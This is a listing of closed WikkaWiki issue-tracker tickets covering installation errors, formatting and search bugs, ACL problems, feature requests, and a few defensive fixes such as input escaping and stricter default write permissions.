| #243 | WYSIWYG | layout | closed | 1.1.6.2 | enhancement | normal | 06/22/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
WYSIWYG editor like MCE ( http://tinymce.moxiecode.com/) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #248 | WikiEdit text area is tiny in Camino 1.0 | unspecified | closed | 1.1.6.2 | defect | normal | 06/25/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I would like to be able to attach a screenshot to show you just how hilariously small it is! It only lets me see about 20 columns and 2 lines. Luckily, Camino is not the only browser, just my favorite. Solution
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #253 | Distribution over columns in AdvancedColumnAction still not working quite right | actions | closed | 1.1.6.2 | defect | normal | 06/28/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
AdvancedColumnAction still doesn't correctly distribute items over three columns when the remainder is one, or the remainder is two over four columns, etc. For example, I have a list of 64 counties to be listed in three columns; instead of distributing 22-21-21 as expected, it displays 22-22-20. (The same problem was happening a while back on PageAndCategoryDivisionInACategory, but that got fixed. Not sure what the fix was.) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #260 | Install on USB tutorial needed | 3rdparty | closed | enhancement | normal | 06/30/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
As a total newbie (no php, mysql experience) I want to install on a USB stick using Universal Server as suggested in the Install docs. But the article and comments are not enough for me. I can't find any step by step directions to do this and I can't find a forum where I can ask for help. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #285 | parsing of URL inside code blocks | formatters | closed | 1.1.6.2 | defect | normal | 07/16/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
##foo(" http://some/url")## parses http://some/url")## as the URL, so that the rest of the page after that is still rendered as a code block. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #291 | Logout link do a logout | 3rdparty | closed | defect | normal | 07/22/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Could the logout link do a logout? The 2-step process is inconvenient. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #293 | https | 3rdparty | closed | 1.1.6.2 | enhancement | normal | 07/22/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I'd like to see a configuration parameter to force the use of https. This would be particularly useful for an 'intranet wiki' accessed over the internet. E.g., an 'internal wiki' for a nonprofit's volunteers hosted on a shared server. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #297 | Missing include files | unspecified | closed | 1.1.6.2 | defect | normal | 07/25/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I get the following errors on a single page after installation. Any help would be greatly appreciated. Thanks, Jay Warning: includebuffered(actions/header.php) [function.includebuffered]: failed to open stream: No such file or directory in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Warning: includebuffered() [function.include]: Failed opening 'actions/header.php' for inclusion (include_path='/usr/share/php') in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Warning: includebuffered(handlers/page/show.php) [function.includebuffered]: failed to open stream: No such file or directory in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Warning: includebuffered() [function.include]: Failed opening 'handlers/page/show.php' for inclusion (include_path='/usr/share/php') in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Warning: includebuffered(actions/footer.php) [function.includebuffered]: failed to open stream: No such file or directory in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Warning: includebuffered() [function.include]: Failed opening 'actions/footer.php' for inclusion (include_path='/usr/share/php') in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Page was generated in 0.0206 seconds |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #298 | Need system for banning users | unspecified | closed | 1.1.6.2 | enhancement | normal | 07/25/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
There really needs to be a way to easily ban an existing user, or at least the write access of someone. I have a member of my wiki who has been disruptive to our collaborative group, and I am now finding that I may need to remove him as a registered user. I don't wish to remove his content, nor restrict his read access, but I really do need to keep him from being able to modify or create any more pages. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #299 | Install Error - php include | installer | closed | 1.1.6.2 | defect | normal | 07/26/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I get the following errors after installing on a single page: Warning: includebuffered(actions/header.php) [function.includebuffered]: failed to open stream: No such file or directory in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Warning: includebuffered() [function.include]: Failed opening 'actions/header.php' for inclusion (include_path='/usr/share/php') in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Warning: includebuffered(handlers/page/show.php) [function.includebuffered]: failed to open stream: No such file or directory in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Warning: includebuffered() [function.include]: Failed opening 'handlers/page/show.php' for inclusion (include_path='/usr/share/php') in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Warning: includebuffered(actions/footer.php) [function.includebuffered]: failed to open stream: No such file or directory in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Warning: includebuffered() [function.include]: Failed opening 'actions/footer.php' for inclusion (include_path='/usr/share/php') in /srv/www/htdocs/Wikka/libs/Wakka.class.php on line 116 Page was generated in 0.0677 seconds |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #308 | backlinks in page header | actions | closed | 1.1.6.2 | enhancement | normal | 08/19/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I browse into my Wikka site, but there is no way, on every page, to return to the linking page without manually adding the backlinks action to each page I create. Can we add the backlinks action to the header that is output above each page? |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #321 | Any search returns to HomePage | unspecified | closed | 1.1.6.2 | defect | normal | 09/09/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Any search takes me back to my home page instead of a list of matching pages
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #335 | RSS feed for comments on a per-page-basis (handler) | handlers | closed | 1.1.6.2 | enhancement | normal | 09/25/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I guess it would be a nice feature to have an rss feed for comments on a certain page just like for the revisions of each page. This way you can easily keep track of comments if you're only interested in certain pages and don't want to use the global RecentComments feature. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #342 | spaces should not be converted to tabs within code blocks | unspecified | closed | 1.1.6.2 | defect | normal | 10/04/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
When preceding a line with 4 or more spaces within a code block, those spaces should be left as spaces and not converted to a tab. Converting to a tab makes it had to have correctly preformatted text. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #346 | WantedPages shows only 1 entry with sum of links of all wanted pages | database | closed | 1.1.6.0 | defect | normal | 10/08/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
In one of our Wikkas there occured a change in the behavior of this action: the wanted pages aren't listed anymore. There's only one page name listed and for the number of links Wikka outputs the sum of all missing links. See here: http://www.kindred.de/wiki/wikka.php?wakka=WantedPages There should be about 200 wanted pages listed. We know that it has worked as expected some time ago ... Perhaps the problem has something to do with #309? |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #347 | Captcha for Spam Prevention | unspecified | closed | 1.1.6.2 | enhancement | normal | 10/11/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Hi! I had in my Wiki massivley Spam with Viagra and so on... A good idea to stop this is a captcha skript for the forms in Registration and for the Edit pages. So bots cannot use this forms. At the moment i allow only registered users to post but thats not the best solution. Regards Christian |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #349 | New Feature | formatters | closed | 1.1.6.2 | enhancement | normal | 10/12/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
It can be useful if the comments are processed in the same way as the notes so you can use WikiFormating in them. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #354 | Graph visualization for Wikka | 3rdparty | closed | 1.1.6.2 | enhancement | normal | 10/19/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Good morning, I was asked to write a network adapter for 34all, which connects this tool with wikkawiki wikis and visualizes their network structure. Thus I have done. Since I was not sure if I am supposed to promote tools like that on wikkawiki itself, I thought of dropping you a node. I personally (of course) like graph visualizations I find them helpful. If you like it also, you might call the attention of your users to it. You find the 34all tool under http://goosebumps4all.net/34all/ (you have to download the adapter for wikkawikis in addition, you find it in the web section of the network adapter pool (nap)) Cheers and all the best martin |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #385 | I obtain different outputs if I use "localhost" or "PC's network IP address" in base_url | installer | closed | 1.1.6.2 | defect | normal | 11/27/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Hi, I've installed wikka 1.1.6.2 with Apache / MySQL, on my PC, and everything works fine when I use localhost in 'base_url' => ' http://localhost/wiki/wikka.php?wakka='. When I change localhost by my PC's IP address to give access to somebody else, I lost some components of the pages: "Edit page"; "Edit ACLs", "Referrers", "Change settings/logout", ... It's a bug? I'm doing some mistake? Thanks for your help. Regards, Venceslau Parreira |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #394 | long page character soup in FIrefox Mac 2.x | core | closed | 1.1.6.2 | defect | normal | 12/11/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I get character soup (looks like binary) loading longish pages in Firefox 2.x Mac from my server (running Apache). Ex: The full-length FormattingRules page is character soup. But when I remove the last 1/3, it reads fine. The same pages read fine in Safari 2.x and IE 5.2. I see the same problem in Flock .07, Netscape 7.1. I've re-created the problem with other pages, and on three servers running the same versions of Apache, PHP, and MySQL. See examples [ here] - Wikka version: 1.1.6.2 - PHP version: 4.3.6 - MySQL version: 4.0.18 - GeSHi version: 1.0.7.10 - Server: Apache/2.0.49 - Host: biro.bemidjistate.edu - Operative System: Darwin 8.0.0 Darwin Kernel Version 8.0.0: Sat Mar 26 14:15:22 PST 2005; root:xnu-792.obj~1/RELEASE_PPC Machine: Power Macintosh |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #413 | how do you uninstall wikka?? | 3rdparty | closed | defect | normal | 02/02/2007 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Please provide answer ASAP |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #455 | search string case sensitivity problem with word "like" | handlers | closed | 1.1.6.2 | defect | normal | 03/14/2007 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Procedure:
Observed:
Expected: |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #725 | Create tag for 1.1.6.4 release | unspecified | closed | 1.1.6.4 | task | normal | 04/01/2008 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Unless I'm missing it, there's no SVN tag for the 1.1.6.4 release. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #756 | Problem after installation | unspecified | closed | 1.1.6.4 | defect | normal | 05/06/2008 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
After installing Wikkawiki properly, I have an error 404: The requested URL /gael.enix.org/zob/wikka.php was not found on this server. Whereas it is actually there. The wiki runs on: Linux, Apache, MySQL, PHP4.4 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #794 | Support for edit caching | editor | closed | trunk | enhancement | normal | 07/10/2008 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Note: This code has been converted to a Wikka plugin. More details here: http://www.wikkacase.org/wiki/EditCache WordPress and other CMSes offer a feature that permits the user to cache their edits for later retrieval. This enhancement provides similar functionality for WikkaWiki. Specifically, each user has the option of saving their edits (on a per-page basis) for future retrieval in the edit window. To keep things simple, the following design criteria is used:
Further enhancements might include:
Related tickets
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #824 | Redundant HomePage links on doc server pages | unspecified | closed | 1.1.7-docs | task | normal | 11/01/2008 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
The HomePage links at the top of many pages on the docs server is redundant, since there is also a HomePage link in the nav bar. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #971 | Constants in en.inc.php are incorrectly escaped | localization | closed | trunk | defect | normal | 05/09/2010 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
en.inc.php in trunk uses single quotes around constants, but omits backslashes before apostrophes within the constants. Example: define('ERROR_NON_EXISTENT_USERNAME', 'Sorry, this user name doesn't exist.');
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #1015 | gettext test implementation | localization | closed | 1.3 | enhancement | normal | 11/07/2010 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Ticket for issues related to gettext test implementation Related tickets
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #1033 | Login not taking | unspecified | closed | 1.2 | defect | normal | 02/08/2011 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I got the software installed, but it was kind of annoying because I installed it on a box that I don't have admin privileges on, so I couldn't do anything with RewriteEngine or SetEnvIfNoCase. So after going through every .htaccess file and removing any code referencing it, I got the stylesheets loaded. So I tried to log in to the admin account, but it just brings me back to the login page. The php is version 4.3.3 (yeah, i know) http://cgi.ccs.neu.edu/~pquinn/test.php < for the phpinfo() The wiki location http://cgi.ccs.neu.edu/~pquinn/wikka/wikka.php?wakka=HomePage I'm really rather new to php and other internet stuff, so it could be something stupid, but I really don't know. Also, I checked for tickets similar to this one. I found one that was having the exact same problem, but none of the steps in it remedied my problem. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #1077 | Links containing U+007C VERTICAL LINE ("|") | unspecified | closed | 1.3.1 | defect | normal | 06/23/2011 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
You get some problems if an URI contains a | character (U+007C VERTICAL LINE). For example links to a download at rapidshare.com; a (random, not existent) URI might look like: https://rs123dt.rapidshare.com/#!download|123dt|123456789|filename.tar.gz|98765|R~123456567ABX987654321ABC I can't find a way to format this link in any way at WikkaWiki:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #1090 | Error in URInviteCodeModule::URAuthTmplVerify | authentication | closed | 1.3.1 | defect | normal | 09/12/2011 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
URInviteCodeModule::URAuthTmplVerify uses $this->GetSafeVar although the class does not have this method. Fix: use $this->wakka->GetSafeVar instead. broken: if($this->GetSafeVar('UR_inviteCode', 'post') === $this->inviteCode)
fixed: if($this->wakka->GetSafeVar('UR_inviteCode', 'post') === $this->inviteCode)
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #109 | Code display problem (multi-line comments and empty lines) | 3rdparty | closed | 1.1.6.1 | defect | trivial | 01/10/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
The following combination of conditions triggers the problem: -multi-line comment (for instance a multi-line /*........*/ block in php) -empty lines within such a comment -line numbering turned on When viewed in Mozilla or Firefox (at least - possibly others), the empty lines **overlap** the preceding lines, as can be seen by the line numbers. Looking at the generated code, an empty line within a multi-line comment (with line numbers) results in this code: %%(html4strict)<li><div class="de1"><span class="coMULTI"></span></div></li>%% while an empty line elsewhere results in %%(html4strict)<li><div class="de1"> </div></li>%% Note the ## ## in the latter case (which gives the div actual content) while the empty multi-comment line has nothing but an **empty** span, and no actual content. This seems to be a combination of a **GeSHi** bug (there should at least a ## ## be generated as content) combined with a **gecko** oddity (or bug?) that will render a number for an ordered list item but not give it a normal line height if the list item is empty. **Workaround:** add some whitespace to the empty lines - a single tab works (a space probably will as well). --JavaWoman |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #140 | ACL alteration problem when using MySQL 5 | handlers | closed | 1.1.6.1 | defect | major | 03/10/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Host system details:
MySQL 5 (msi), PHP 5 (msi) Brand new Wikka installation, problem occurs when editing the ACLs of any page. Initial ACL interface appears, but upon submittal of the form to Store ACLs, an SQL error is returned: Query failed: INSERT INTO wikka_acls SET page_tag = 'HomePage', read_acl = '*' (Field 'write_acl' doesn't have a default value) Workaround:
Further wikka operations seem unnafected. Perhaps a bit of code chould go into the SaveACLs method of wikka.php? |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #181 | NewPages action to show up only new pages of the last x days | actions | closed | 1.1.6.1 | task | minor | 05/23/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I would like to see a feature (maybe an action?) to show up only new pages somewhere in a place on a page. Users should then see a list of only new pages which were created within a time of, lets say, the last 7 days, for example. (The amount of time should be configurable by a parameter or just within the php-code.) As an addition it should be possible to add the username and the creation date next to the pagename. It would be very similar to the RecentChanges action; so I guess it wouldn't be too hard to come up with a code like that. Unfortunately I'm not a developer and don't understand a lot of php, so ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #223 | Installation ooops | installer | closed | 1.1.6.2 | defect | minor | 06/12/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Alpha installed clean .. no problem. Beta installed over the top of the Alpha .. no problem. Backed up the 1.1.6.1 database ... made a 'new' wikka2 database from that data. Installed the 1.1.6.2 files into a wikka2 folder. Had not modified apache.cnf to allow the mod_rewrite action for this wikka2 folder, so decided to 'run' the install and 'build' a new wikka_config.php file. (touch'd and chmod it to 777 for the install routine) OK, the install routine complained about the Tables already existing .. no problem (though there'd be the question in a future install as to whether the database configuration had changed) However, the "adding defailt pages" action 'worked' just fine. Results were that the 'default' pages ended up being duplicated .. specifically, two database entries with the same 'tag' .. 'latest=Y' .. etc. Body content for most of them hasn't changed, but the FormattingRules page definitely has .... Technically, this wouldn't be called a 'new' install and isn't the same path as suggested for an 'upgrade' .... so can't really call this a bug .... more of an "unexpected results" thing .. but ... added here in case it's something worth looking into. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #655 | Query broken in countowned action | actions | closed | 1.1.7-docs | defect | minor | 02/17/2008 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Args in WHERE clause are missing quotes, causing the query to fail. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #163 | Enhanced RecentComments Action | actions | closed | 1.1.6.1 | enhancement | normal | 04/26/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
The wiki run on the server has an improved RecentComments action. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #425 | .htaccess turning RewriteEngine off in /docs/ | core | closed | 1.1.6.2 | enhancement | trivial | 02/15/2007 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
The natural location for static docs is /docs/, where RewriteEngine should be off. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #153 | Install Problem | installer | closed | defect | minor | 03/25/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I'm having a rough time getting WikkaWikki off the ground. I've installed the files per the installation instructions at http://www.turnintostone.org/Wikka_hm/Wikka/. However, when I point my browser to the directory, nothing happens (I was expecting the installer). Anything you can do... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #155 | AJAX 'Sticky' notes for inline Wiki page annotations. | comments | closed | 1.1.6.1 | enhancement | minor | 03/30/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I've found myself many times wanting to put some sort of comment in a Wiki page regarding something that I wanted somebody else to catch and review. Currently, I've been entering this notes inline with the body of the page {This is how I try to annotate something line} which isn't all that sexy. It seems that there is currently no elegant way to enter annotations inline with Wiki content. Perhaps that could all change by something as simple as: <comment>This is a note about something in this page. A small icon will appear here and when a person mouses over it, they will be able to "popup" the sticky note with the comment</comment> As this "note" says, a small icon could appear or an entire sticky note could appear over where I entered the tag. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #130 | Can't show freemind mindmaps with Wikka 1.1.6.1 | 3rdparty | closed | 1.1.6.1 | defect | trivial | 02/19/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I recently installed Wikka and everything seemed to work fine, except viewing Freemind mindmaps (neither embedded nor using a link). Using Firefox 1.0.7 there's no problem viewing the examples on wikkawiki.org. I could view your example http://wikkawiki.org/RecentChanges/recentchanges.xml.mm on your homepage ( http://wikkawiki.org/MindMapRecentChanges), but when I paste it in a page on my installation of Wikka, the status bar (in Firefox) shows the following text: "Applet freemind.main.FreeMindApplet notinited" I tried pasting other Freemind code too (embedded mindmap) both from Freemind 0.7.1-r1 and 0.8.0, with the same result. I'm using Gentoo Linux, with kernel linux-2.6.14-gentoo-r5 and the following java packages installed: dev-java/blackdown-jdk-1.4.2.03 (1.4.2) dev-java/blackdown-jre-1.4.2.03 (1.4.2) dev-java/java-config-1.2.11-r1 dev-java/javacup-0.10k dev-java/libreadline-java-0.8.0-r1 dev-java/xjavac-20041208-r1 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #179 | Limit display of comments by user rights | actions | closed | 1.1.6.1 | enhancement | trivial | 05/22/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
One suggestion for a modification of the recentlycommented action to limit the display of comments to those pages the user has access to. I guess it will look something like this: <?php
if ($comments = $this->LoadRecentlyCommented())
{
$curday = "";
foreach ($comments as $comment)
{
if (this->HasAccess("comment",$comment["page_tag"])
{
// day header
list($day, $time) = explode(" ", $comment["time"]);
if ($day != $curday)
{
$dateformatted = date("D, d M Y", strtotime($day));
if ($curday) print("<br />\n");
print("<strong>$dateformatted:</strong><br />\n");
$curday = $day;
}
$timeformatted = date("H:i T", strtotime($comment["time"]));
$max_preview_length = 122;
$comment_preview = str_replace("<br />", "", $comment["comment"]);
if (strlen($comment_preview) > $max_preview_length) {
$comment_spillover_link = "<a href=\"".$this->href("", $comment["page_tag"], "show_comments=1")."#comment_".$comment["id"]."\" title=\"View comment\">[.... ]</a>";
$comment_preview = substr($comment_preview, 0, $max_preview_length).$comment_spillover_link;
}
$commentlink = "<a href=\"".$this->href("", $comment["page_tag"], "show_comments=1")."#comment_".$comment["id"]."\" title=\"View comment\">".$comment["page_tag"]."</a>";
$comment_by = $comment["user"];
if (!$this->LoadUser($comment_by)) $comment_by .= " (unregistered user)";
// print entry
print(" $commentlink, comment by $comment_by: <br />\n <em>$comment_preview</em><br />\n");
}
}
}
else
{
print("<em>There are no recently commented pages.</em>");
}
?>
just two more lines ... I don't know which right should apply, comment or read, as I cannot test in the moment which is more important. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #648 | Delete old '1.1.6.1-intl' branch | unspecified | closed | task | trivial | 02/10/2008 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Since the 1.1.6.1-intl branch is based on 1.1.6.1 it isn't usefull anymore as a testing branch. If we need a branch fr testing i18n nad l10n, we can create a new one based on 1.1.6.4 / trunk. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
1.1.6.1 Release (4 matches)
| Ticket | Summary | Component | Status | Version | Type | Severity | Created | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Description | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #9 | Bug in Textsearch (expanded) | actions | closed | 1.1.6.0 | defect | major | 11/14/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
As DotMG has pointed out, the input for this two actions isn't validated, making it a security-hole. You can fix it by changing the line $phrase = stripslashes($phrase); into $phrase = preg_quote($this->htmlspecialchars_ent(stripslashes($phrase)), "/"); You have to change both files (textsearch and textsearchexpanded). ref |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #14 | Default write privileges | core | closed | 1.1.6.0 | defect | major | 11/14/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Default write privileges should be changed so that only registered users have write-access after a fresh install. "default_write_acl" => "*", in source:trunk/wikka.php should be replaced by: "default_write_acl" => "+", |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #16 | TextSearchExpanded warning (preg_replace(): Compilation failed) | actions | closed | 1.1.6.0 | defect | normal | 11/20/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
As reported by NilsLindenberg: I tried an expanded Text-Search for +parameter +link and got the following error: "Warning: Compilation failed: nothing to repeat at offset 1 in /.../actions/textsearchexpanded.php on line 33" Proposed solution: Add this line... $phrase = preg_quote($phrase, "/"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #17 | TextSearchExpanded code cleanup | actions | closed | 1.1.6.0 | defect | normal | 11/20/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
